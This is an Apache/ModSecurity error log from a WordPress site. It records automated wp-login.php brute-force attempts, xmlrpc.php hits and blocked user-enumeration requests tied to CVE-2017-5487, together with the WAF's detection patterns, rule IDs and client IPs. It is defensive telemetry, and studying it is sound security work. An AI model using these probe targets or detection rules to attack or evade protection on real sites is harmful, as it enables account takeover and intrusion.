[Sat Mar 21 01:22:48.454395 2026] [:error] [pid 62754:tid 62821] [client 50.87.144.177:22306] [client 50.87.144.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2CaBwXN_jHGJ5L7yFfTAAAAAY"]
[Sat Mar 21 01:22:50.322573 2026] [:error] [pid 62754:tid 62824] [client 50.87.144.177:22306] [client 50.87.144.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.87.144.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2CahwXN_jHGJ5L7yFfUwAAAAk"], referer: https://gigfragments.org/wp-login.php
[Sat Mar 21 01:51:11.064946 2026] [:error] [pid 62754:tid 62826] [client 162.241.203.157:45264] [client 162.241.203.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.203.157, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2JDxwXN_jHGJ5L7yFx8gAAAAs"]
[Sat Mar 21 01:51:14.334347 2026] [:error] [pid 62754:tid 62836] [client 162.241.203.157:45264] [client 162.241.203.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.203.157, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2JEhwXN_jHGJ5L7yFx-wAAABU"], referer: https://gigfragments.org/wp-login.php
[Sat Mar 21 02:19:21.076945 2026] [:error] [pid 43096:tid 43120] [client 50.6.155.2:45646] [client 50.6.155.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.155.2, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2PqWBT-qFhoDwy93FitQAAAJY"]
[Sat Mar 21 02:19:22.758209 2026] [:error] [pid 43096:tid 43115] [client 50.6.155.2:45646] [client 50.6.155.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.155.2, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2PqmBT-qFhoDwy93FiugAAAJE"], referer: https://gigfragments.org/wp-login.php
[Sat Mar 21 02:23:32.478883 2026] [:error] [pid 62479:tid 62513] [client 162.241.226.175:52440] [client 162.241.226.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.226.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2QpPKZ7MVNG8qirU9vEAAAAQI"]
[Sat Mar 21 02:23:34.205164 2026] [:error] [pid 62479:tid 62520] [client 162.241.226.175:52440] [client 162.241.226.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.226.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2QpvKZ7MVNG8qirU9vEQAAAQk"], referer: https://gigfragments.org/wp-login.php
[Sat Mar 21 02:30:47.528207 2026] [:error] [pid 43096:tid 43101] [client 182.44.12.37:47817] [client 182.44.12.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ab2SV2BT-qFhoDwy93FoyAAAAIM"]
[Sat Mar 21 02:46:53.611401 2026] [:error] [pid 43096:tid 43106] [client 198.57.247.179:29618] [client 198.57.247.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.57.247.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2WHWBT-qFhoDwy93FxPAAAAIg"]
[Sat Mar 21 02:46:57.228289 2026] [:error] [pid 62754:tid 62838] [client 198.57.247.179:43524] [client 198.57.247.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.57.247.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2WIRwXN_jHGJ5L7yGMEAAAABc"], referer: https://gigfragments.org/wp-login.php
[Sat Mar 21 03:38:00.238374 2026] [:error] [pid 1490:tid 1532] [client 194.187.251.230:7785] [client 194.187.251.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.187.251.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2iGGSWhIPTatyxDeBRewAAAEA"]
[Sat Mar 21 03:56:16.951770 2026] [:error] [pid 1491:tid 1565] [client 194.187.251.230:55005] [client 194.187.251.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.187.251.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2mYK3VfHftzE9w9t5sngAAAII"]
[Sat Mar 21 04:08:46.205429 2026] [:error] [pid 1491:tid 1584] [client 194.187.251.230:53489] [client 194.187.251.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.187.251.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2pTq3VfHftzE9w9t5ypwAAAJQ"]
[Sat Mar 21 04:23:00.590625 2026] [:error] [pid 1601:tid 1616] [client 194.187.251.230:59363] [client 194.187.251.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.187.251.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2spKdDBYVcyITq-IEUzAAAAMs"]
[Sat Mar 21 04:37:18.158248 2026] [:error] [pid 1491:tid 1581] [client 194.187.251.230:59328] [client 194.187.251.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.187.251.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2v_q3VfHftzE9w9t5_xAAAAJE"]
[Sat Mar 21 04:45:51.749298 2026] [:error] [pid 1491:tid 1581] [client 216.24.210.201:61199] [client 216.24.210.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2x_63VfHftzE9w9t6F6gAAAJE"]
[Sat Mar 21 05:44:51.941451 2026] [:error] [pid 49170:tid 49178] [client 216.24.210.217:40493] [client 216.24.210.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2_071KUC-QISS0eWoSAAAAAQY"]
[Sat Mar 21 05:44:51.941668 2026] [:error] [pid 49170:tid 49195] [client 173.239.218.129:56697] [client 173.239.218.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab2_071KUC-QISS0eWoR_wAAARc"]
[Sat Mar 21 06:06:21.021601 2026] [:error] [pid 1601:tid 1614] [client 173.239.218.144:33595] [client 173.239.218.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.144, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3E3adDBYVcyITq-IFAjQAAAMk"]
[Sat Mar 21 06:06:21.021753 2026] [:error] [pid 1601:tid 1622] [client 98.159.37.225:24707] [client 98.159.37.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3E3adDBYVcyITq-IFAjgAAANE"]
[Sat Mar 21 06:36:56.600894 2026] [:error] [pid 1491:tid 1573] [client 216.24.210.212:59555] [client 216.24.210.212] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.212, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3MCK3VfHftzE9w9t7PNgAAAIo"]
[Sat Mar 21 06:36:56.601206 2026] [:error] [pid 1491:tid 1586] [client 216.24.210.203:62519] [client 216.24.210.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3MCK3VfHftzE9w9t7PNwAAAJY"]
[Sat Mar 21 06:39:20.608740 2026] [:error] [pid 1490:tid 1547] [client 45.237.227.155:54138] [client 45.237.227.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.237.227.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3MmGSWhIPTatyxDeCGhwAAAEw"]
[Sat Mar 21 06:41:35.699491 2026] [:error] [pid 1489:tid 1505] [client 97.165.209.221:49830] [client 97.165.209.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 97.165.209.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3NH1RvnvBO_DG9kxsFGwAAAAI"]
[Sat Mar 21 06:42:56.017464 2026] [:error] [pid 1490:tid 1541] [client 45.237.227.155:56762] [client 45.237.227.155] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ab3NcGSWhIPTatyxDeCHNwAAAEY"]
[Sat Mar 21 06:44:08.339134 2026] [:error] [pid 49170:tid 49191] [client 45.237.227.155:57010] [client 45.237.227.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.237.227.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3NuL1KUC-QISS0eWoo7AAAARM"]
[Sat Mar 21 06:45:22.632599 2026] [:error] [pid 1601:tid 1622] [client 45.237.227.155:57242] [client 45.237.227.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.237.227.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3OAqdDBYVcyITq-IFMXwAAANE"]
[Sat Mar 21 06:46:39.304489 2026] [:error] [pid 1491:tid 1572] [client 45.237.227.155:57490] [client 45.237.227.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.237.227.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3OT63VfHftzE9w9t7UFQAAAIk"]
[Sat Mar 21 06:47:58.067327 2026] [:error] [pid 1601:tid 1620] [client 45.237.227.155:58464] [client 45.237.227.155] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.237.227.155, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3OnqdDBYVcyITq-IFNEgAAAM8"]
[Sat Mar 21 07:07:35.727052 2026] [:error] [pid 49170:tid 49183] [client 173.239.218.147:31141] [client 173.239.218.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.147, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3TN71KUC-QISS0eWoxggAAAQs"]
[Sat Mar 21 07:07:35.727786 2026] [:error] [pid 49170:tid 49192] [client 216.24.210.197:55477] [client 216.24.210.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3TN71KUC-QISS0eWoxgwAAARQ"]
[Sat Mar 21 07:18:29.497764 2026] [:error] [pid 1491:tid 1581] [client 204.12.215.52:36321] [client 204.12.215.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 204.12.215.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3Vxa3VfHftzE9w9t7lcwAAAJE"], referer: http://www.google.com.hk
[Sat Mar 21 07:38:26.529595 2026] [:error] [pid 1489:tid 1511] [client 173.239.218.132:44203] [client 173.239.218.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.132, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3aclRvnvBO_DG9kxsQCQAAAAc"]
[Sat Mar 21 07:38:26.529818 2026] [:error] [pid 1490:tid 1548] [client 216.24.210.214:53209] [client 216.24.210.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3acmSWhIPTatyxDeCVIQAAAE0"]
[Sat Mar 21 07:47:22.623396 2026] [:error] [pid 49170:tid 49192] [client 176.122.109.176:50569] [client 176.122.109.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.122.109.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3cir1KUC-QISS0eWpD9QAAARQ"]
[Sat Mar 21 07:48:12.415898 2026] [:error] [pid 49170:tid 49177] [client 138.117.235.10:54836] [client 138.117.235.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.117.235.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3cvL1KUC-QISS0eWpEWgAAAQU"]
[Sat Mar 21 07:57:31.204618 2026] [:error] [pid 33456:tid 33464] [client 176.122.109.176:59081] [client 176.122.109.176] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ab3e6w-0Ziq_OzjHFfXovgAAAYY"]
[Sat Mar 21 07:58:18.158274 2026] [:error] [pid 33678:tid 33700] [client 176.122.109.176:59674] [client 176.122.109.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.122.109.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3fGjuClB_om73sXhchDgAAAhQ"]
[Sat Mar 21 07:58:47.973339 2026] [:error] [pid 1491:tid 1582] [client 138.117.235.10:61896] [client 138.117.235.10] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ab3fN63VfHftzE9w9t7-BgAAAJI"]
[Sat Mar 21 07:59:22.129984 2026] [:error] [pid 1491:tid 1576] [client 176.122.109.176:60459] [client 176.122.109.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.122.109.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3fWq3VfHftzE9w9t7-UAAAAI0"]
[Sat Mar 21 07:59:59.170359 2026] [:error] [pid 33456:tid 33461] [client 138.117.235.10:63044] [client 138.117.235.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.117.235.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3ffw-0Ziq_OzjHFfXp-gAAAYM"]
[Sat Mar 21 08:00:21.958029 2026] [:error] [pid 1491:tid 1574] [client 176.122.109.176:61105] [client 176.122.109.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.122.109.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3fla3VfHftzE9w9t7-9AAAAIs"]
[Sat Mar 21 08:01:19.939531 2026] [:error] [pid 33348:tid 33374] [client 138.117.235.10:64257] [client 138.117.235.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.117.235.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3fzzEj9d9zzbs_KjjYlQAAAVc"]
[Sat Mar 21 08:01:20.266975 2026] [:error] [pid 1491:tid 1586] [client 176.122.109.176:61678] [client 176.122.109.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 176.122.109.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3f0K3VfHftzE9w9t7_XAAAAJY"]
[Sat Mar 21 08:02:30.282861 2026] [:error] [pid 1489:tid 1507] [client 138.117.235.10:65230] [client 138.117.235.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.117.235.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3gFlRvnvBO_DG9kxsT_QAAAAQ"]
[Sat Mar 21 08:03:36.717011 2026] [:error] [pid 33584:tid 33595] [client 138.117.235.10:49295] [client 138.117.235.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.117.235.10, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ab3gWOATEQBBo5z2Hkk1MwAAAck"]
[Sat Mar 21 08:09:24.193726 2026] [:error] [pid 33348:tid 33373] [client 216.24.210.198:28949] [client 216.24.210.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3htDEj9d9zzbs_KjjaTwAAAVY"]
[Sat Mar 21 08:09:24.201047 2026] [:error] [pid 33348:tid 33374] [client 173.239.218.135:33169] [client 173.239.218.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.135, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3htDEj9d9zzbs_KjjaUAAAAVc"]
[Sat Mar 21 08:40:20.820959 2026] [:error] [pid 43052:tid 43056] [client 216.24.210.214:56911] [client 216.24.210.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3o9F5fjm-AiInC1hLYAQAAA4I"]
[Sat Mar 21 08:40:20.821309 2026] [:error] [pid 1490:tid 1560] [client 173.239.218.128:26671] [client 173.239.218.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3o9GSWhIPTatyxDeCdswAAAFg"]
[Sat Mar 21 09:11:09.634556 2026] [:error] [pid 42886:tid 42888] [client 216.24.210.214:42407] [client 216.24.210.214] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.214, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3wLV452dC6nbNWav3ufgAAAwA"]
[Sat Mar 21 09:11:09.634826 2026] [:error] [pid 1489:tid 1516] [client 216.24.210.208:35165] [client 216.24.210.208] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.208, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab3wLVRvnvBO_DG9kxsiuwAAAAw"]
[Sat Mar 21 09:41:42.988846 2026] [:error] [pid 1490:tid 1532] [client 134.255.58.165:51754] [client 134.255.58.165] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ab33VmSWhIPTatyxDeCujwAAAEA"]
[Sat Mar 21 09:42:22.156225 2026] [:error] [pid 1489:tid 1528] [client 98.159.37.225:30855] [client 98.159.37.225] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.225, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab33flRvnvBO_DG9kxstrwAAABg"]
[Sat Mar 21 09:42:22.156391 2026] [:error] [pid 1489:tid 1521] [client 216.24.210.218:24941] [client 216.24.210.218] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.218, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ab33flRvnvBO_DG9kxstsAAAABE"]
